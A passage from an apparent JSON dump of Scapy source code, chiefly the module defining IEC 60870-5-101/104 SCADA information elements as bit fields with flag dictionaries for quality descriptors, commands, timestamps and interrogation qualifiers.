BitField.__init__(self, name, default, 7)\n\n    def m2i(self, pkt, x):\n\n        if x & 64:\n            x = x - 128\n\n        return x\n\n    def i2m(self, pkt, x):\n\n        sign = 0\n        if x < 0:\n            sign = 64\n            x = x + 64\n\n        x = x | sign\n\n        return x\n"
  },
  {
    "path": "scapy/contrib/scada/iec104/iec104_information_elements.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Thomas Tannhaeuser <hecke@naberius.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\n    information element definitions used by IEC 60870-5-101/104\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :description:\n\n        This module provides the information element (IE) definitions used to\n        compose the ASDUs (Application Service Data Units) used within the\n        IEC 60870-5-101 and IEC 60870-5-104 protocol.\n\n        normative references:\n            - IEC 60870-5-4:1993 (atomic base types / data format)\n            - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and\n              ASDU definition (sec. 7.3))\n            - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44))\n\n    :TODO:\n        - some definitions should use signed types as outlined in the standard\n        - normed value element should use a float type\n\n\"\"\"\nfrom scapy.contrib.scada.iec104.iec104_fields import \\\n    IEC60870_5_4_NormalizedFixPoint, IEC104SignedSevenBitValue, \\\n    LESignedShortField, LEIEEEFloatField\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    LEShortField,\n    LESignedIntField,\n    MayEnd,\n    ThreeBytesField,\n)\n\n\ndef _generate_attributes_and_dicts(cls):\n    \"\"\"\n    create class attributes and dict entries for range-based attributes\n\n    class attributes will take the form: cls.<attribute_name_prefix>_<index>\n\n    dictionary entries will be generated as:\n\n      the_dict[index] = \"<dict_entry_prefix> (<index>)\"\n\n    expects a GENERATED_ATTRIBUTES attribute within the class that contains a\n    list of the specification for the attributes and dictionary entries to be\n    generated. each list entry must have this format:\n\n        (attribute_name_prefix, dict_entry_prefix, dictionary, first_index,\n         last_index)\n\n    with\n        <attribute_name_prefix> - the prefix of the attribute name\n        first_index - index of the first attribute to be generated\n        last_index - index of the last attribute to be generated\n    :param cls: the class the attributes should be added to\n    :return: cls extended by generated attributes\n    \"\"\"\n\n    for attribute_name_prefix, dict_entry_prefix, the_dict, first_index, \\\n        last_index \\\n            in cls.GENERATED_ATTRIBUTES:\n\n        for index in range(first_index, last_index + 1):\n            the_dict[index] = '{} ({})'.format(dict_entry_prefix, index)\n\n            setattr(cls, '{}_{}'.format(attribute_name_prefix, index), index)\n\n    return cls\n\n\nclass IEC104_IE_CommonQualityFlags:\n    \"\"\"\n    common / shared information element quality flags\n    \"\"\"\n    IV_FLAG_VALID = 0\n    IV_FLAG_INVALID = 1\n    IV_FLAGS = {\n        IV_FLAG_VALID: 'valid',\n        IV_FLAG_INVALID: 'invalid'\n    }\n\n    NT_FLAG_CURRENT_VALUE = 0\n    NT_FLAG_OLD_VALUE = 1\n    NT_FLAGS = {\n        NT_FLAG_CURRENT_VALUE: 'current value',\n        NT_FLAG_OLD_VALUE: 'old value'\n    }\n\n    SB_FLAG_NOT_SUBSTITUTED = 0\n    SB_FLAG_SUBSTITUTED = 1\n    SB_FLAGS = {\n        SB_FLAG_NOT_SUBSTITUTED: 'not substituted',\n        SB_FLAG_SUBSTITUTED: 'substituted'\n    }\n\n    BL_FLAG_NOT_BLOCKED = 0\n    BL_FLAG_BLOCKED = 1\n    BL_FLAGS = {\n        BL_FLAG_NOT_BLOCKED: 'not blocked',\n        BL_FLAG_BLOCKED: 'blocked'\n    }\n\n    EI_FLAG_ELAPSED_TIME_VALID = 0\n    EI_FLAG_ELAPSED_TIME_INVALID = 1\n    EI_FLAGS = {\n        EI_FLAG_ELAPSED_TIME_VALID: 'elapsed time valid',\n        EI_FLAG_ELAPSED_TIME_INVALID: 'elapsed time invalid'\n    }\n\n\nclass IEC104_IE_SIQ(IEC104_IE_CommonQualityFlags):\n    \"\"\"\n    SIQ - single point information with quality descriptor\n\n    EN 60870-5-101:2003, sec. 7.2.6.1 (p. 44)\n    \"\"\"\n\n    SPI_FLAG_STATE_OFF = 0\n    SPI_FLAG_STATE_ON = 1\n\n    SPI_FLAGS = {\n        SPI_FLAG_STATE_OFF: 'off',\n        SPI_FLAG_STATE_ON: 'on'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        # invalid\n        BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS),\n        # live or cached old value\n        BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS),\n        # value substituted\n        BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS),\n        # blocked\n        BitField('reserved', 0, 3),\n        BitEnumField('spi_value', 0, 1, SPI_FLAGS)\n    ]\n\n\nclass IEC104_IE_DIQ(IEC104_IE_CommonQualityFlags):\n    \"\"\"\n    DIQ - double-point information with quality descriptor\n\n    EN 60870-5-101:2003, sec. 7.2.6.2 (p. 44)\n    \"\"\"\n\n    DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT = 0\n    DPI_FLAG_STATE_OFF = 1\n    DPI_FLAG_STATE_ON = 2\n    DPI_FLAG_STATE_UNDEFINED = 3\n\n    DPI_FLAGS = {\n        DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT: 'undefined/transient',\n        DPI_FLAG_STATE_OFF: 'off',\n        DPI_FLAG_STATE_ON: 'on',\n        DPI_FLAG_STATE_UNDEFINED: 'undefined'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        # invalid\n        BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS),\n        # live or cached old value\n        BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS),\n        # value substituted\n        BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS),\n        # blocked\n        BitField('reserved', 0, 2),\n        BitEnumField('dpi_value', 0, 2, DPI_FLAGS)\n    ]\n\n\nclass IEC104_IE_QDS(IEC104_IE_CommonQualityFlags):\n    \"\"\"\n    QDS - quality descriptor separate object\n\n    EN 60870-5-101:2003, sec. 7.2.6.3 (p. 45)\n    \"\"\"\n\n    OV_FLAG_NO_OVERFLOW = 0\n    OV_FLAG_OVERFLOW = 1\n    OV_FLAGS = {\n        OV_FLAG_NO_OVERFLOW: 'no overflow',\n        OV_FLAG_OVERFLOW: 'overflow'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        # invalid\n        BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS),\n        # live or cached old value\n        BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS),\n        # value substituted\n        BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS),\n        # blocked\n        BitField('reserved', 0, 3),\n        BitEnumField('ov', 0, 1, OV_FLAGS),  # overflow\n    ]\n\n\nclass IEC104_IE_QDP(IEC104_IE_CommonQualityFlags):\n    \"\"\"\n    QDP - quality descriptor protection equipment separate object\n\n    EN 60870-5-101:2003, sec. 7.2.6.4 (p. 46)\n    \"\"\"\n\n    informantion_element_fields = [\n        BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        # invalid\n        BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS),\n        # live or cached old value\n        BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS),\n        # value substituted\n        BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS),\n        # blocked\n        BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS),\n        # blocked\n        BitField('reserved_qdp', 0, 3)\n    ]\n\n\nclass IEC104_IE_VTI:\n    \"\"\"\n    VTI - value with transient state indication\n\n    EN 60870-5-101:2003, sec. 7.2.6.5 (p. 47)\n    \"\"\"\n\n    TRANSIENT_STATE_DISABLED = 0\n    TRANSIENT_STATE_ENABLED = 1\n\n    TRANSIENT_STATE_FLAGS = {\n        TRANSIENT_STATE_DISABLED: 'device not in transient state',\n        TRANSIENT_STATE_ENABLED: 'device in transient state'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('transient_state', 0, 1, TRANSIENT_STATE_FLAGS),\n        IEC104SignedSevenBitValue('value', 0)\n    ]\n\n\nclass IEC104_IE_NVA:\n    \"\"\"\n    NVA - normed value\n\n    EN 60870-5-101:2003, sec. 7.2.6.6 (p. 47)\n    \"\"\"\n\n    informantion_element_fields = [\n        IEC60870_5_4_NormalizedFixPoint('normed_value', 0)\n    ]\n\n\nclass IEC104_IE_SVA:\n    \"\"\"\n    SVA - scaled value\n\n    EN 60870-5-101:2003, sec. 7.2.6.7 (p. 47)\n    \"\"\"\n\n    informantion_element_fields = [\n        LESignedShortField('scaled_value', 0)\n    ]\n\n\nclass IEC104_IE_R32_IEEE_STD_754:\n    \"\"\"\n    R32-IEEE STD 754 - short floating point value\n\n    EN 60870-5-101:2003, sec. 7.2.6.8 (p. 47)\n    \"\"\"\n\n    informantion_element_fields = [\n        LEIEEEFloatField('scaled_value', 0)\n    ]\n\n\nclass IEC104_IE_BCR:\n    \"\"\"\n    BCR - binary counter reading\n\n    EN 60870-5-101:2003, sec. 7.2.6.9 (p. 47)\n    \"\"\"\n    CA_FLAG_COUNTER_NOT_ADJUSTED = 0\n    CA_FLAG_COUNTER_ADJUSTED = 1\n    CA_FLAGS = {\n        CA_FLAG_COUNTER_NOT_ADJUSTED: 'counter not adjusted',\n        CA_FLAG_COUNTER_ADJUSTED: 'counter adjusted'\n    }\n\n    CY_FLAG_NO_OVERFLOW = 0\n    CY_FLAG_OVERFLOW = 1\n    CY_FLAGS = {\n        CY_FLAG_NO_OVERFLOW: 'no overflow',\n        CY_FLAG_OVERFLOW: 'overflow'\n    }\n\n    informantion_element_fields = [\n        LESignedIntField('counter_value', 0),\n        BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        # invalid\n        BitEnumField('ca', 0, 1, CA_FLAGS),  # counter adjusted\n        BitEnumField('cy', 0, 1, CY_FLAGS),  # carry flag / overflow\n        BitField('sq', 0, 5)  # sequence\n    ]\n\n\nclass IEC104_IE_SEP(IEC104_IE_CommonQualityFlags):\n    \"\"\"\n    SEP - single event of protection equipment\n\n    EN 60870-5-101:2003, sec. 7.2.6.10 (p. 48)\n    \"\"\"\n\n    ES_FLAG_STATE_UNDEFINED_0 = 0\n    ES_FLAG_STATE_OFF = 1\n    ES_FLAG_STATE_ON = 2\n    ES_FLAG_STATE_UNDEFINED_3 = 3\n    ES_FLAGS = {\n        ES_FLAG_STATE_UNDEFINED_0: 'undefined (0)',\n        ES_FLAG_STATE_OFF: 'off',\n        ES_FLAG_STATE_ON: 'on',\n        ES_FLAG_STATE_UNDEFINED_3: 'undefined (3)',\n    }\n\n    informantion_element_fields = [\n        BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        # invalid\n        BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS),\n        # live or cached old value\n        BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS),\n        # value substituted\n        BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS),\n        # blocked\n        BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS),\n        # time valid\n        BitField('reserved', 0, 1),\n        BitEnumField('es', 0, 2, ES_FLAGS),  # event state\n    ]\n\n\nclass IEC104_IE_SPE:\n    \"\"\"\n    SPE - start events of protection equipment\n\n    EN 60870-5-101:2003, sec. 7.2.6.11 (p. 48)\n    \"\"\"\n    GS_FLAG_NO_GENERAL_TRIGGER = 0\n    GS_FLAG_GENERAL_TRIGGER = 1\n    GS_FLAGS = {\n        GS_FLAG_NO_GENERAL_TRIGGER: 'general trigger',\n        GS_FLAG_GENERAL_TRIGGER: 'no general trigger'\n    }\n\n    # protection relays - start of operation - fault detection per phase\n    SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER = 0\n    SL_FLAG_START_OPR_PHASE_L1_TRIGGER = 1\n    SL_FLAG_START_OPR_PHASE_L2_NO_TRIGGER = 0\n    SL_FLAG_START_OPR_PHASE_L2_TRIGGER = 1\n    SL_FLAG_START_OPR_PHASE_L3_NO_TRIGGER = 0\n    SL_FLAG_START_OPR_PHASE_L3_TRIGGER = 1\n    SL_FLAGS = {\n        SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER: 'no start of operation',\n        SL_FLAG_START_OPR_PHASE_L1_TRIGGER: 'start of operation'\n    }\n\n    # protection event start caused by earth current\n    SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER = 0\n    SIE_FLAG_START_OPR_PHASE_IE_TRIGGER = 1\n    SIE_FLAGS = {\n        SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER: 'no start of operation',\n        SIE_FLAG_START_OPR_PHASE_IE_TRIGGER: 'start of operation'\n    }\n\n    # direction of the started protection event\n    SRD_FLAG_DIRECTION_FORWARD = 0\n    SRD_FLAG_DIRECTION_BACKWARD = 1\n    SRD_FLAGS = {\n        SRD_FLAG_DIRECTION_FORWARD: 'forward',\n        SRD_FLAG_DIRECTION_BACKWARD: 'backward'\n    }\n\n    informantion_element_fields = [\n        BitField('reserved', 0, 2),\n        BitEnumField('srd', 0, 1, SRD_FLAGS),\n        BitEnumField('sie', 0, 1, SIE_FLAGS),\n        BitEnumField('sl3', 0, 1, SL_FLAGS),\n        BitEnumField('sl2', 0, 1, SL_FLAGS),\n        BitEnumField('sl1', 0, 1, SL_FLAGS),\n        BitEnumField('gs', 0, 1, GS_FLAGS)\n    ]\n\n\nclass IEC104_IE_OCI:\n    \"\"\"\n    OCI - output circuit information of protection equipment\n\n    EN 60870-5-101:2003, sec. 7.2.6.12 (p. 49)\n    \"\"\"\n    # all 3 phases off command\n    GC_FLAG_NO_GENERAL_COMMAND_OFF = 0\n    GC_FLAG_GENERAL_COMMAND_OFF = 1\n    GC_FLAGS = {\n        GC_FLAG_NO_GENERAL_COMMAND_OFF: 'no general off',\n        GC_FLAG_GENERAL_COMMAND_OFF: 'general off'\n    }\n    # phase based off command\n    # protection relays - start of operation - fault detection per phase\n    CL_FLAG_NO_COMMAND_L1_OFF = 0\n    CL_FLAG_COMMAND_L1_OFF = 1\n    CL_FLAG_NO_COMMAND_L2_OFF = 0\n    CL_FLAG_COMMAND_L2_OFF = 1\n    CL_FLAG_NO_COMMAND_L3_OFF = 0\n    CL_FLAG_COMMAND_L3_OFF = 1\n    CL_FLAGS = {\n        CL_FLAG_NO_COMMAND_L1_OFF: 'no command off',\n        CL_FLAG_COMMAND_L1_OFF: 'no command off'\n    }\n\n    informantion_element_fields = [\n        BitField('reserved', 0, 4),\n        BitEnumField('cl3', 0, 1, CL_FLAGS),  # command Lx\n        BitEnumField('cl2', 0, 1, CL_FLAGS),\n        BitEnumField('cl1', 0, 1, CL_FLAGS),\n        BitEnumField('gc', 0, 1, GC_FLAGS),  # general off\n    ]\n\n\nclass IEC104_IE_BSI:\n    \"\"\"\n    BSI - binary state information\n\n    EN 60870-5-101:2003, sec. 7.2.6.13 (p. 49)\n    \"\"\"\n    informantion_element_fields = [\n        BitField('bsi', 0, 32)\n    ]\n\n\nclass IEC104_IE_FBP:\n    \"\"\"\n    FBP - fixed test bit pattern\n\n    EN 60870-5-101:2003, sec. 7.2.6.14 (p. 49)\n    \"\"\"\n    informantion_element_fields = [\n        LEShortField('fbp', 0)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QOC:\n    \"\"\"\n    QOC - qualifier of command\n\n    EN 60870-5-101:2003, sec. 7.2.6.26 (p. 54)\n    \"\"\"\n\n    QU_FLAG_NO_ADDITIONAL_PARAMETERS = 0\n    QU_FLAG_SHORT_COMMAND_EXEC_TIME = 1  # e.g. controlling a power switch\n    QU_FLAG_LONG_COMMAND_EXEC_TIME = 2\n    QU_FLAG_PERMANENT_COMMAND = 3\n\n    QU_FLAGS = {\n        QU_FLAG_NO_ADDITIONAL_PARAMETERS: 'no additional parameter',\n        QU_FLAG_SHORT_COMMAND_EXEC_TIME: 'short execution time',\n        QU_FLAG_LONG_COMMAND_EXEC_TIME: 'long execution time',\n        QU_FLAG_PERMANENT_COMMAND: 'permanent command',\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('QU_FLAG_RESERVED_COMPATIBLE', 'reserved - compatible', QU_FLAGS, 4,\n         8),\n        ('QU_FLAG_RESERVED_PREDEFINED_FUNCTION',\n         'reserved - predefined function', QU_FLAGS, 9, 15),\n        ('QU_FLAG_RESERVED_PRIVATE', 'reserved - private', QU_FLAGS, 16, 31)\n    ]\n\n    SE_FLAG_EXECUTE = 0\n    SE_FLAG_SELECT = 1\n    SE_FLAGS = {\n        SE_FLAG_EXECUTE: 'execute',\n        SE_FLAG_SELECT: 'select'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('s_or_e', 0, 1, SE_FLAGS),\n        BitEnumField('qu', 0, 5, QU_FLAGS)\n    ]\n\n\nclass IEC104_IE_SCO(IEC104_IE_QOC):\n    \"\"\"\n    SCO - single command\n\n    EN 60870-5-101:2003, sec. 7.2.6.15 (p. 50)\n    \"\"\"\n    SCS_FLAG_STATE_OFF = 0\n    SCS_FLAG_STATE_ON = 1\n    SCS_FLAGS = {\n        SCS_FLAG_STATE_OFF: 'off',\n        SCS_FLAG_STATE_ON: 'on'\n    }\n\n    informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [\n        BitField('reserved', 0, 1),\n        BitEnumField('scs', 0, 1, SCS_FLAGS)\n    ]\n\n\nclass IEC104_IE_DCO(IEC104_IE_QOC):\n    \"\"\"\n    DCO - double command\n\n    EN 60870-5-101:2003, sec. 7.2.6.16 (p. 50)\n    \"\"\"\n    DCS_FLAG_STATE_INVALID_0 = 0\n    DCS_FLAG_STATE_OFF = 1\n    DCS_FLAG_STATE_ON = 2\n    DCS_FLAG_STATE_INVALID_3 = 3\n    DCS_FLAGS = {\n        DCS_FLAG_STATE_INVALID_0: 'invalid (0)',\n        DCS_FLAG_STATE_OFF: 'off',\n        DCS_FLAG_STATE_ON: 'on',\n        DCS_FLAG_STATE_INVALID_3: 'invalid (3)',\n    }\n\n    informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [\n        BitEnumField('dcs', 0, 2, DCS_FLAGS)\n    ]\n\n\nclass IEC104_IE_RCO(IEC104_IE_QOC):\n    \"\"\"\n    RCO - regulating step command\n\n    EN 60870-5-101:2003, sec. 7.2.6.17 (p. 50)\n    \"\"\"\n    RCO_FLAG_STATE_INVALID_0 = 0\n    RCO_FLAG_STATE_STEP_DOWN = 1\n    RCO_FLAG_STATE_STEP_UP = 2\n    RCO_FLAG_STATE_INVALID_3 = 3\n    RCO_FLAGS = {\n        RCO_FLAG_STATE_INVALID_0: 'invalid (0)',\n        RCO_FLAG_STATE_STEP_DOWN: 'step down',\n        RCO_FLAG_STATE_STEP_UP: 'step up',\n        RCO_FLAG_STATE_INVALID_3: 'invalid (3)',\n    }\n\n    informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [\n        BitEnumField('rcs', 0, 2, RCO_FLAGS)\n    ]\n\n\nclass IEC104_IE_CP56TIME2A(IEC104_IE_CommonQualityFlags):\n    \"\"\"\n    CP56Time2a - dual time, 7 octets\n                 (milliseconds, valid flag, minutes, hours,\n                  summer-time-indicator, day of month, weekday, years)\n\n    well, someone should have talked to them about the idea of the\n    unix timestamp...\n\n    EN 60870-5-101:2003, sec. 7.2.6.18 (p. 50)\n\n    time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23\n    \"\"\"\n    WEEK_DAY_FLAG_UNUSED = 0\n    WEEK_DAY_FLAG_MONDAY = 1\n    WEEK_DAY_FLAG_TUESDAY = 2\n    WEEK_DAY_FLAG_WEDNESDAY = 3\n    WEEK_DAY_FLAG_THURSDAY = 4\n    WEEK_DAY_FLAG_FRIDAY = 5\n    WEEK_DAY_FLAG_SATURDAY = 6\n    WEEK_DAY_FLAG_SUNDAY = 7\n    WEEK_DAY_FLAGS = {\n        WEEK_DAY_FLAG_UNUSED: 'unused',\n        WEEK_DAY_FLAG_MONDAY: 'Monday',\n        WEEK_DAY_FLAG_TUESDAY: 'Tuesday',\n        WEEK_DAY_FLAG_WEDNESDAY: 'Wednesday',\n        WEEK_DAY_FLAG_THURSDAY: 'Thursday',\n        WEEK_DAY_FLAG_FRIDAY: 'Friday',\n        WEEK_DAY_FLAG_SATURDAY: 'Saturday',\n        WEEK_DAY_FLAG_SUNDAY: 'Sunday'\n    }\n\n    GEN_FLAG_REALTIME = 0\n    GEN_FLAG_SUBSTITUTED_TIME = 1\n    GEN_FLAGS = {\n        GEN_FLAG_REALTIME: 'real time',\n        GEN_FLAG_SUBSTITUTED_TIME: 'substituted time'\n    }\n\n    SU_FLAG_NORMAL_TIME = 0\n    SU_FLAG_SUMMER_TIME = 1\n    SU_FLAGS = {\n        SU_FLAG_NORMAL_TIME: 'normal time',\n        SU_FLAG_SUMMER_TIME: 'summer time'\n    }\n\n    informantion_element_fields = [\n        LEShortField('sec_milli', 0),\n        BitEnumField('iv_time', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        BitEnumField('gen', 0, 1, GEN_FLAGS),\n        # only valid in monitor direction ToDo: special treatment needed?\n        BitField('minutes', 0, 6),\n        BitEnumField('su', 0, 1, SU_FLAGS),\n        BitField('reserved_2', 0, 2),\n        BitField('hours', 0, 5),\n        BitEnumField('weekday', 0, 3, WEEK_DAY_FLAGS),\n        MayEnd(BitField('day_of_month', 0, 5)),\n        BitField('reserved_3', 0, 4),\n        BitField('month', 0, 4),\n        BitField('reserved_4', 0, 1),\n        BitField('year', 0, 7),\n    ]\n\n\nclass IEC104_IE_CP56TIME2A_START_TIME(IEC104_IE_CP56TIME2A):\n    \"\"\"\n    derived IE, used for ASDU that requires two CP56TIME2A timestamps for\n    defining a range\n    \"\"\"\n    _DERIVED_IE = True\n    informantion_element_fields = [\n        LEShortField('start_sec_milli', 0),\n        BitEnumField('start_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        MayEnd(BitEnumField('start_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS)),\n        # only valid in monitor direction ToDo: special treatment needed?\n        BitField('start_minutes', 0, 6),\n        BitEnumField('start_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS),\n        BitField('start_reserved_2', 0, 2),\n        BitField('start_hours', 0, 5),\n        BitEnumField('start_weekday', 0, 3,\n                     IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS),\n        BitField('start_day_of_month', 0, 5),\n        BitField('start_reserved_3', 0, 4),\n        BitField('start_month', 0, 4),\n        BitField('start_reserved_4', 0, 1),\n        BitField('start_year', 0, 7),\n    ]\n\n\nclass IEC104_IE_CP56TIME2A_STOP_TIME(IEC104_IE_CP56TIME2A):\n    \"\"\"\n    derived IE, used for ASDU that requires two CP56TIME2A timestamps for\n    defining a range\n    \"\"\"\n    _DERIVED_IE = True\n    informantion_element_fields = [\n        LEShortField('stop_sec_milli', 0),\n        BitEnumField('stop_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS),\n        MayEnd(BitEnumField('stop_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS)),\n        # only valid in monitor direction ToDo: special treatment needed?\n        BitField('stop_minutes', 0, 6),\n        BitEnumField('stop_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS),\n        BitField('stop_reserved_2', 0, 2),\n        BitField('stop_hours', 0, 5),\n        BitEnumField('stop_weekday', 0, 3,\n                     IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS),\n        BitField('stop_day_of_month', 0, 5),\n        BitField('stop_reserved_3', 0, 4),\n        BitField('stop_month', 0, 4),\n        BitField('stop_reserved_4', 0, 1),\n        BitField('stop_year', 0, 7),\n    ]\n\n\nclass IEC104_IE_CP24TIME2A(IEC104_IE_CP56TIME2A):\n    \"\"\"\n    CP24Time2a - dual time, 3 octets\n                 (milliseconds, valid flag, minutes)\n\n    EN 60870-5-101:2003, sec. 7.2.6.19 (p. 51)\n\n    time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23,\n    octet 4..7 discarded\n    \"\"\"\n\n    informantion_element_fields = \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields[:4]\n\n\nclass IEC104_IE_CP16TIME2A:\n    \"\"\"\n    CP16Time2a - dual time, 2 octets\n                (milliseconds)\n\n    EN 60870-5-101:2003, sec. 7.2.6.20 (p. 51)\n    \"\"\"\n    informantion_element_fields = [\n        LEShortField('sec_milli', 0)\n    ]\n\n\nclass IEC104_IE_CP16TIME2A_ELAPSED:\n    \"\"\"\n    derived IE, used in ASDU using more than one CP* field and this one is\n    used to show an elapsed time\n    \"\"\"\n    _DERIVED_IE = True\n\n    informantion_element_fields = [\n        LEShortField('elapsed_sec_milli', 0)\n    ]\n\n\nclass IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE:\n    \"\"\"\n    derived IE, used in ASDU using more than one CP* field and this one is\n    used to show an protection activation time\n    \"\"\"\n    _DERIVED_IE = True\n\n    informantion_element_fields = [\n        LEShortField('prot_act_sec_milli', 0)\n    ]\n\n\nclass IEC104_IE_CP16TIME2A_PROTECTION_COMMAND:\n    \"\"\"\n    derived IE, used in ASDU using more than one CP* field and this one is\n    used to show an protection command time\n    \"\"\"\n    _DERIVED_IE = True\n\n    informantion_element_fields = [\n        LEShortField('prot_cmd_sec_milli', 0)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_COI:\n    \"\"\"\n    COI - cause of initialization\n\n    EN 60870-5-101:2003, sec. 7.2.6.21 (p. 51)\n    \"\"\"\n    LPC_FLAG_LOCAL_PARAMETER_UNCHANGED = 0\n    LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1\n    LPC_FLAGS = {\n        LPC_FLAG_LOCAL_PARAMETER_UNCHANGED: 'unchanged',\n        LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'changed'\n    }\n\n    COI_FLAG_LOCAL_POWER_ON = 0\n    COI_FLAG_LOCAL_MANUAL_RESET = 1\n    COI_FLAG_REMOTE_RESET = 2\n\n    COI_FLAGS = {\n        COI_FLAG_LOCAL_POWER_ON: 'local power on',\n        COI_FLAG_LOCAL_MANUAL_RESET: 'manual reset',\n        COI_FLAG_REMOTE_RESET: 'remote reset'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('COI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', COI_FLAGS, 3,\n         31),\n        ('COI_FLAG_PRIVATE_RESERVED', 'private reserved', COI_FLAGS, 32, 127)\n    ]\n\n    informantion_element_fields = [\n        BitEnumField('local_param_state', 0, 1, LPC_FLAGS),\n        BitEnumField('coi', 0, 7, COI_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QOI:\n    \"\"\"\n    QOI - qualifier of interrogation\n\n    EN 60870-5-101:2003, sec. 7.2.6.22 (p. 52)\n    \"\"\"\n    QOI_FLAG_UNUSED = 0\n    QOI_FLAG_STATION_INTERROGATION = 20\n    QOI_FLAG_GROUP_1_INTERROGATION = 21\n    QOI_FLAG_GROUP_2_INTERROGATION = 22\n    QOI_FLAG_GROUP_3_INTERROGATION = 23\n    QOI_FLAG_GROUP_4_INTERROGATION = 24\n    QOI_FLAG_GROUP_5_INTERROGATION = 25\n    QOI_FLAG_GROUP_6_INTERROGATION = 26\n    QOI_FLAG_GROUP_7_INTERROGATION = 27\n    QOI_FLAG_GROUP_8_INTERROGATION = 28\n    QOI_FLAG_GROUP_9_INTERROGATION = 29\n    QOI_FLAG_GROUP_10_INTERROGATION = 30\n    QOI_FLAG_GROUP_11_INTERROGATION = 31\n    QOI_FLAG_GROUP_12_INTERROGATION = 32\n    QOI_FLAG_GROUP_13_INTERROGATION = 33\n    QOI_FLAG_GROUP_14_INTERROGATION = 34\n    QOI_FLAG_GROUP_15_INTERROGATION = 35\n    QOI_FLAG_GROUP_16_INTERROGATION = 36\n\n    QOI_FLAGS = {\n        QOI_FLAG_UNUSED: 'unused',\n        QOI_FLAG_STATION_INTERROGATION: 'station interrogation',\n        QOI_FLAG_GROUP_1_INTERROGATION: 'group 1 interrogation',\n        QOI_FLAG_GROUP_2_INTERROGATION: 'group 2 interrogation',\n        QOI_FLAG_GROUP_3_INTERROGATION: 'group 3 interrogation',\n        QOI_FLAG_GROUP_4_INTERROGATION: 'group 4 interrogation',\n        QOI_FLAG_GROUP_5_INTERROGATION: 'group 5 interrogation',\n        QOI_FLAG_GROUP_6_INTERROGATION: 'group 6 interrogation',\n        QOI_FLAG_GROUP_7_INTERROGATION: 'group 7 interrogation',\n        QOI_FLAG_GROUP_8_INTERROGATION: 'group 8 interrogation',\n        QOI_FLAG_GROUP_9_INTERROGATION: 'group 9 interrogation',\n        QOI_FLAG_GROUP_10_INTERROGATION: 'group 10 interrogation',\n        QOI_FLAG_GROUP_11_INTERROGATION: 'group 11 interrogation',\n        QOI_FLAG_GROUP_12_INTERROGATION: 'group 12 interrogation',\n        QOI_FLAG_GROUP_13_INTERROGATION: 